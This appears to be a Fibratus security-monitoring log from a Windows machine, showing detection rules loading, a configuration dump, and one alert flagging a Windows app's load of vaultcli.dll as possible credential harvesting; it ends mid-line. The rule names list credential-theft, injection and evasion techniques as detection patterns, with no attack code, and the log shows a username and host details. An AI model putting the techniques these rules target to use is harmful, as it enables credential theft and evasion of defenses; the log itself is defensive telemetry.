+time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_direct_syscall_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, RenameFile, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T09:27:53+01:00 level=info msg=bootstrapping with pid 9964. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T09:27:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ use-template=>true content-type=>text/html to=>[] port=>25 enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ max-buffers=>36 enable-net=>true flush-interval=>1s enable-audit-api=>true stack-enrichment=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-mem=>false enable-threadpool=>false enable-registry=>true enable-dns=>false enable-vamap=>true min-buffers=>16 enable-image=>true buffer-size=>512 enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 level=>info max-age=>0 log-stdout=>true formatter=>text] + output ......................... [ amqp=>[ enabled=>false passive=>false delivery-mode=>transient durable=>false exchange-type=>topic routing-key=>fibratus exchange=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 timeout=>5s vhost=>/] elasticsearch=>[ template-name=>fibratus enabled=>false gzip-compression=>false healthcheck-timeout=>5s bulk-workers=>1 sniff=>false trace-log=>false flush-period=>1s healthcheck-interval=>10s timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true index-name=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ method=>POST endpoints=>[] enabled=>false enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false serializer=>json]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-mmaps=>false enabled=>false skip-files=>false skip-registry=>false excluded-files=>[] excluded-procs=>[] fastscan=>true skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-12T09:27:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T09:27:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T09:28:48+01:00 level=info msg=sending alert: [Suspicious Vault client DLL load]. Text: Suspicious process C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppActions.exe loaded the Credential Vault Client DLL for potential credentials harvesting + Event(s): + Seq: 428672 + Pid: 1168 + Tid: 2512 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 09:28:41.2395834 +0100 CET + Params: cmdline➜ "C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppActions.exe" -Embedding, directory_table_base➜ 3691f2000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppActions.exe, exit_status➜ Success, flags➜ APPLICATION_ID|PACKAGED, kproc➜ ffffd506efc61080, name➜ AppActions.exe, pid➜ 12548, ppid➜ 1168, real_ppid➜ 1168, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 09:28:41.2395246 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: technique.id: T1555, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, rule.name: Suspicious Vault client DLL load, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, rule.seq.link: 4324300283027914752 + + Pid: 1168 + Ppid: 764 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 438649 + Pid: 12548 + Tid: 14128 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-12 09:28:42.6536887 +0100 CET + Params: base_address➜ 7ffa70460000, checksum➜ 356647, default_address➜ 7ffa70460000, file_path➜ C:\Windows\System32\vaultcli.dll, image_size➜ 323584, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 12548, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, rule.name: Suspicious Vault client DLL load, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.name: Credentials from Password Stores, rule.seq.link: 4324300283027914752, technique.id: T1555, tactic.name: Credential Access + + Pid: 12548 + Ppid: 1168 + Name: AppActions.exe + Parent name: svchost.exe + Cmdline: "C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppActions.exe" -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppActions.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppActions.exe" -Embedding] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-12T09:37:01+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T09:37:01+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T09:37:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T09:38:13+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-12T09:38:13+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-12T09:38:13+01:00 level=info msg=bootstrapping with pid 14148. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-12T09:38:13+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html to=>[] enabled=>false port=>25 use-template=>true] systray=>[ enabled=>true sound=>true quiet-mode=>false] eventlog=>[ verbose=>false enabled=>true]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + kevent ......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false] + kstream ........................ [ stack-enrichment=>true enable-dns=>true enable-handle=>false flush-interval=>1s buffer-size=>512 min-buffers=>16 enable-thread=>true enable-net=>true enable-image=>true enable-registry=>true max-buffers=>36 enable-mem=>true blacklist=>[ events=>[] images=>[]] enable-audit-api=>true enable-vamap=>true enable-fileio=>true] + logging ........................ [ max-size=>100 max-age=>0 log-stdout=>true max-backups=>15 formatter=>text level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ template-name=>fibratus trace-log=>false enabled=>false index-name=>fibratus timeout=>5s flush-period=>1s healthcheck=>true gzip-compression=>false bulk-workers=>1 sniff=>false healthcheck-interval=>10s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200]] amqp=>[ timeout=>5s url=>amqp://localhost:5672 tls-insecure-skip-verify=>false delivery-mode=>transient vhost=>/ passive=>false exchange=>fibratus exchange-type=>topic enabled=>false routing-key=>fibratus durable=>false] console=>[ template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} format=>pretty enabled=>true] http=>[ tls-insecure-skip-verify=>false timeout=>5s method=>POST enabled=>false endpoints=>[] serializer=>json enable-gzip=>false]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] fastscan=>true alert-via=>mail skip-files=>true scan-timeout=>10s enabled=>false alert-template=>[]] source=bootstrap/bootstrap.go:183 +time=2025-11-12T09:38:21+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-12T09:38:23+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-12T09:38:23+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-12T09:38:23+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-12T09:38:23+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-12T09:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T09:38:28+01:00 